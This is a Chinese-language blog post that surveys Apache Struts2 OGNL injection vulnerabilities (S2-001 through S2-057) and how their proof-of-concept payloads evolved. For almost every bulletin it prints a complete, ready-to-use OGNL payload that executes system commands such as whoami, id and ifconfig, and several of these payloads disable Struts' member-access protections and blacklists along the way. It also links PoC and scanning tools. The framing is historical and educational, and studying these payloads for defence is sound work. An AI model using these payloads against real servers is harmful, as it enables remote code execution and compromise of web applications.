写这篇文章原因就想看看POC演化的过程
另外要是我看到了什么可以补充的东西会更新本文
更新时间 2019年6月9日
官方补丁历史
https://cwiki.apache.org/confluence/display/WW/Security+Bulletins
ognl表达式相关
这里只是简单介绍,想要深入需要自己去搜索
- 普通表达式
<% ShoppingCart cart = (ShoppingCart)session.get("cart");
int id = cart.getId();%>
<%=id%>
- 文艺表达式
<%=((shoppingCart)session.get("cart")).getId() %>
- ognl表达式
#session.cart.id
三要素
- 表达式:是整个OGNL的核心,是自根对象到被访问对象的某个链式操作的字符串表示。
- root:针对根对象(Root Object)的操作。在表达式规定了“干什么”以后,你还需要指定到底“对谁干”。
- context:将规定OGNL的操作“在哪里干”。
OGNL执行上下文环境,有request、session、application 、parameters、value stack、attr
$
:在配置文件、国际化资源文件中引用OGNL表达式
#
:访问上下文非root对象,相当于ActionContext.getContext()
@
:访问静态属性、静态方法
%
:强制(输出)内容为OGNL表达式
表达式功能清单
本段来自于乌云drops
- 基本对象树的访问
对象树的访问就是通过使用点号将对象的引用串联起来进行。
例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
- 对容器变量的访问
对容器变量的访问,通过#
符号加上表达式进行。
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
- 使用操作符号
OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用+, -, *, /, ++, --, ==, !=, =
等操作符之外,还能使用mod, in, not in
等。 - 容器、数组、对象
OGNL支持对数组和ArrayList
等容器的顺序访问:例如:group.users[0]
同时,OGNL支持对Map的按键值查找:
例如:#session['mySessionPropKey']
不仅如此,OGNL还支持容器的构造的表达式:
例如:{"green", "red", "blue"}
构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}
构造一个Map
你也可以通过任意类对象的构造函数进行对象新建:
例如:new Java.net.URL("xxxxxx/")
- 对静态方法或变量的访问
要引用类的静态方法和字段,他们的表达方式是一样的@class@member
或者@class@method(args)
:
例如:@com.javaeye.core.Resource@ENABLE,@java.lang.String@format('foo %s','bar')
- 方法调用
类似Java,甚至可以传递参数。如objName.methodName(#parameter)
- 投影和选择
OGNL支持类似数据库中的投影(projection)
和选择(selection)
。- 投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为
collection.{XXX}
,其中XXX
是这个集合中每个元素的公共属性。
例如:group.userList.{username}
将获得某个group中的所有user的name的列表。 - 选择就是过滤满足
selection
条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY}
,其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:
?
选择满足条件的所有元素
^
选择满足条件的第一个元素
$
选择满足条件的最后一个元素
如:group.userList.{? #txxx.xxx != null}
将获得某个group中user的name不为空的user的列表。
- 投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为
注入点 | 代码写法 |
---|---|
request参数名、cookie名 | (ognl)(constant)=value&(constant)((ognl1)(ognl2)) |
request参数值 | %{ognl} ${ognl} 'ognl' (ognl) |
request的filename | %{ognl} ${ognl} |
request的url | /%{ognl}.action /${ognl}.action |
request的content-type | %{ognl} ${ognl} |
示例代码
get方式,调用对象的静态方法执行命令
OgnlContext context = new OgnlContext();
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')",context,context.getRoot());
set方式,new一个对象调用方法执行命令
OgnlContext context = new OgnlContext();
Ognl.setValue(new java.lang.ProcessBuilder((new java.lang.String[] {"calc" })).start(), context,context.getRoot());
struts2框架执行流程
可以看这个 https://blog.csdn.net/wjw0130/article/details/46371847
S2-001
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
获取web目录
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),#response.flush(),
#response.close()}
执行系统命令
%{
#a=(new java.lang.ProcessBuilder("whoami")).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#matt=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#matt.getWriter().println(new java.lang.String(#e)),
#matt.getWriter().flush(),
#matt.getWriter().close()}
S2-003/S2-005
S2-003
漏洞发生在请求参数名,Struts2框架会对每个请求参数名解析为OGNL语句执行。
对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,绕过这个修复很简单,所以就有了S2-005。ognl表达式通过#
来访问struts的对象,struts框架通过过滤#
字符防止安全问题,然而通过unicode
编码(\u0023)
或8进制(\43)
即绕过了安全限制。
由于ONGL的调用可以通过http传参来执行,为了防止攻击者以此来调用任意方法,Xwork设置了两个参数来进行防护:
-
OgnlContext
的属性xwork.MethodAccessor.denyMethodExecution
(默认为真) -
SecurityMemberAccess
私有字段allowStaticMethodAccess
(默认为假)
获取web目录
('\43_memberAccess.allowStaticMethodAccess')(a)=true
&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))
&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))
&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))
&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))
&(i97)(('\43xman.getWriter().println(\43req.getRealPath(%22\u005c%22))')(d))
&(i99)(('\43xman.getWriter().close()')(d))
执行系统命令
('\43_memberAccess.allowStaticMethodAccess')(a)=true
&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))
&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))
&(g)(('\43mycmd\75\'"+cmd+"\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))
&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))
&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))
&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))
&(n)(('\43myout.getWriter().println(\43mystr)')(d))
S2-007
用户输入被当作OGNL表达式解析,当对用户输入进行验证出现类型转换错误时。如配置了验证规则
<ActionName>-validation.xml
时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次OGNL表达式解析并返回。
'%2b(%23_memberAccess.allowStaticMethodAccess=true,
%23context["xwork.MethodAccessor.denyMethodExecution"]=false,
%23cmd="ifconfig",
%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),
%23data=new+java.io.DataInputStream(%23ret.getInputStream()),
%23res=new+byte[500],
%23data.readFully(%23res),
%23echo=new+java.lang.String(%23res),
%23out=@org.apache.struts2.ServletActionContext@getResponse(),
%23out.getWriter().println(%23echo))%2b'
S2-008
利用道理和S2-005
差不多,只不过是在cookie
名称处注入,由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋,网上也并没有相关分析介绍。
S2-009
漏洞利用点跟S2-003和S2-005类似,利用OGNL表达式
(1)(2)
,会执行1
的OGNL表达式,009构造了的方法为test=(some OGNL 表达式)(1)&z[(test)(1)]=true
。
z[(test)(1)]=true
,对struts2来说是合法的参数,但是(test)(1)会执行上述说的方法,test的值被带入计算,造成命令执行。
foo=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=+new+java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)
&z[(foo)('meh')]=true
foo参数值必须是action
的字符串变量,OGNL表达式被写入foo变量中,然后ParametersInterceptor
拦截器在对第二参数名处理时,会取出foo值并作为OGNL表达式解析执行,造成远程代码执行漏洞。
S2-012
配置文件中,Action
节点里的Result
时使用了重定向类型type=redirectAction
,并且还使用${param_name}
作为重定向变量,struts在获取其值时会执行OGNL表达式,从而造成命令执行。
%{(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)
(#a=(new java.lang.ProcessBuilder('whoami')).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#matt.getWriter().println('dbapp:'+new java.lang.String(#e)),
#matt.getWriter().flush(),#matt.getWriter().close())}
S2-013/S2-014
Apache Struts2的
<s:a>
和<s:url>
标签都提供了一个includeParams
属性。此属性允许使用的值包括none、get、all。当该属性被设置为get或all时,Apache Struts2会将用户提交的参数值作为Ognl表达式执行。
a=${(#_memberAccess["allowStaticMethodAccess"]=true,
#a=@java.lang.Runtime@getRuntime().exec('"+cmd+"').getInputStream(),
#b=new+java.io.InputStreamReader(#a),
#c=new+java.io.BufferedReader(#b),
#d=new+char[50000],
#c.read(#d),
#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#out.println('dbapp:'+new java.lang.String(#d)),
#out.close())}
官方只限制了%{(#exp)}
格式的OGNL执行,因为还有%{#exp}
形式,从而造成了S2-014。
S2-015
下述配置能让我们访问name.action
时使用name.jsp
来渲染页面,但是在提取name
并解析时,对其执行了OGNL
表达式解析,所以导致命令执行。
<action name="*" class="example.ExampleSupport">
<result>/example/{1}.jsp</result>
</action>
还有需要说明的就是在Struts 2.3.14.1 - Struts 2.3.14.2
的更新内容中,删除了SecurityMemberAccess
类中的setAllowStaticMethodAccess
方法,因此在2.3.14.2
版本以后都不能直接通过#_memberAccess['allowStaticMethodAccess']=true
来修改其值达到重获静态方法调用的能力。
${#context['xwork.MethodAccessor.denyMethodExecution']=false,
#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#m.setAccessible(true),
#m.set(#_memberAccess,true),
#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()),#q}
S2-016
DefaultActionMapper
类支持以action:
、redirect:
、redirectAction:
作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致命令执行。
- 获取web路径
redirect:${#a=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
#b=#a.getRealPath("/"),
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#matt.getWriter().println(#b),
#matt.getWriter().flush(),
#matt.getWriter().close()}
- 执行系统命令,执行结果是回显在URL中的
redirect:${#context['xwork.MethodAccessor.denyMethodExecution']=false,
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
- 执行系统命令2,回显在页面
redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#matt=#context.get('co'+'m.ope'+'nsymph'+'ony.x'+'wor'+'k2.disp'+'atch'+'er.HttpSe'+'rvletRe'+'sponse'),
#matt.getWriter().println(new java.lang.String(#e)),#matt.getWriter().flush(),#matt.getWriter().close()}
S2-019
属于S2-008发布的第四个漏洞,也就是
DebuggingInterceptor
拦截器中的缺陷漏洞。需要开启开发者模式<constant name="struts.devMode" value="true" />
,传入debug=command&expression = OGNL表达式
,从而造成命令执行漏洞。
debug=command&expression=
#a=(new java.lang.ProcessBuilder('whoami')).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#out.getWriter().println('dbapp:'+new java.lang.String(#e)),
#out.getWriter().flush(),#out.getWriter().close()
S2-020/S2-021
这两个漏洞跟ognl
的关系不大。利用成功了是代码执行,利用失败了就是DOS。
附上个POC地址:https://github.com/coffeehb/Some-PoC-oR-ExP/blob/master/Struts2/S2-020_POC.py
S2-029
Struts2的标签库使用OGNL表达式来访问
ActionContext
中的对象数据。为了能够访问到ActionContext
中的变量,Struts2将ActionContext
设置为OGNL
的上下文,并将OGNL
的跟对象加入ActionContext
中。
如下的标签就调用了OGNL进行取值。
<p>parameters: <s:property value="#parameters.msg" /></p>
Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters
对象的msg属性。
这个漏洞利用,可以说是非常难,漏洞的原理是二次OGNL表达式执行。
建议阅读 https://www.iswin.org/2016/03/20/Struts2-S2-029%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
这个回显结果的代码就跟上面的不太一样了
#_memberAccess.allowPrivateAccess=true,
#_memberAccess.allowStaticMethodAccess=true,
#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,
#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,
#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#a=@java.lang.Runtime@getRuntime(),
#s=new java.util.Scanner(#a.exec('whoami').getInputStream()).useDelimiter('\\\\A'),
#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()
S2-032/S2-033/S2-037
前提开启动态调用
<constant name="struts.enable.DynamicMethodInvocation" value="true" />
这三个漏洞都是抓住了
DefaultActionInvocation
中会把ActionProxy
中的method
属性取出来放入到ognlUtil.getValue(methodName + "()" getStack().getContext(), action);
方法中执行OGNL表达式。
- S2-032 前缀参数
method:OGNL表达式
的形式;- S2-033 通过
actionName!method
的方式,用OGNL表达式将method
替换;- S2-037 通过
actionName/id/methodName
的方式,用OGNL表达式替换methodName。
所以这三个漏洞的POC是一样的。需要放到URL中使用。
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#a=(new java.lang.ProcessBuilder(#parameters.a[0])).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#matt=#context.get(#parameters.b[0]),
#matt.getWriter().println(#parameters.c[0]+new java.lang.String(#e)),
#matt.getWriter().flush(),
#matt.getWriter().close
&a=whoami&b=com.opensymphony.xwork2.dispatcher.HttpServletResponse&c=flag
S2-045/S2-046
S2-045
漏洞和S2-046
漏洞非常相似,都是由于报错信息可以包含OGNL表达式,并且被带入了buildErrorMessage
这个方法运行,造成远程代码执行。
利用Jakarta
插件,Content-Type
需要包含multipart/form-data
字段。
- S2-045 将OGNL表达式注入到HTTP头的
Content-Type
中;- S2-046 第一种是
Content-Length
的值的长度超长(注:未找到实例),第二种是Content-Disposition
的filename
存在空字节。
POC中有个:
构造键值对
回显当前路径
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#context.setMemberAccess(#dm)))).
(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).
(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#path=#req.getRealPath('/')).
(#o.println(#path)).(#o.close())}
执行命令。如果注入点是filename
,需要末尾加\x00b
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))
).
(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
S2-048
漏洞的本质原因是在
struts2-struts1-plugin
包中的Struts1Action.java
中的execute
函数调用了getText
函数,这个函数会执行ognl表达式,且是getText
的输入内容是攻击者可控的。
回显命令执行。POC跟S2-046一模一样
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
推荐阅读 根据官方公告去反推漏洞利用方式——s2-048漏洞分析
S2-052
跟ognl表达式无关,Struts2 REST插件的XStream组件存在反序列化漏洞。略过。
S2-053
当开发者在Freemarker标签中使用如下代码时
<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />
,Freemarker会将值当做表达式进行执行,最后导致代码执行。
这个条件太少见了,囧
回显命令执行,又跟S2-045一样的构造
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
S2-057
Namespace
用于将action
分为逻辑上的不同模块,可以有效避免action
重名的情况。默认namespace
为空,当所有namespace
中都找不到时才会在默认namespace
中寻找。
第一种情况:在struts.xml
配置文件中,如果没有为基础xml
配置中定义的result设置namespace,且上层<action>
标签中没有设置namespace
或者是使用通配符namespace
时,则可能存在远程代码执行漏洞。
第二种情况:如果struts的url标签<s:url>
中未设置value和action值,且关联的action标签未设置或使用通配符namespace时可能会导致远程代码执行。
人话:当访问action
类型为重定向redirect action,chain,postback
时,会根据url生成的namespace
生成一个跳转地址location
,location
会进行 ognl 计算。
回显命令执行的POC跟S2-032很相似???
ognl_payload = "${"
ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
ognl_payload += "(#cmd='{}').".format(cmd)
ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
ognl_payload += "(#p.redirectErrorStream(true))."
ognl_payload += "(#process=#p.start())."
ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
ognl_payload += "(#ros.flush())"
ognl_payload += "}"
2.5.16版本Poc
$%7B(%23ct=%23request['struts.valueStack'].context).
(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).
(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(%23ou.setExcludedClasses('java.lang.Shutdown')).
(%23ou.setExcludedPackageNames('sun.reflect.')).
(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(%23ct.setMemberAccess(%23dm)).
(%23cmd=@java.lang.Runtime@getRuntime().exec('gnome-calculator'))%7D
OGNL的攻防简史
本段选自 浅析OGNL的攻防史
可以说所有在对于OGNL的攻防全部都是基于如何使用静态方法。Struts2的防护措施从最开始的正则,到之后的黑名单,在保证OGNL强大功能的基础上,将可能执行静态方法的利用链给切断。在分析绕过方法时,需要注意的有这么几点:
struts-defult.xml
中的黑名单com.opensymphony.xwork2.ognl.SecurityMemberAccess
Ognl
包
总之是越来越不好绕了。
相关工具
struts2漏洞演示环境
https://github.com/Medicean/VulApps/tree/master/s/struts2
Struts2全版本漏洞检测工具
https://github.com/Lucifer1993/struts-scan
https://github.com/HatBoy/Struts2-Scan
参考
https://www.freebuf.com/vuls/168609.html
http://blog.0kami.cn/2017/01/13/old-Struts2-history-payload/
https://xz.aliyun.com/t/4607
https://www.freebuf.com/articles/web/33232.html
https://blog.csdn.net/u013224189/article/details/81091874
https://superxiaoxiong.github.io/2018/09/03/s2-057/#struts2-5-系列
http://drops.xmd5.com/static/drops/papers-340.html
网友评论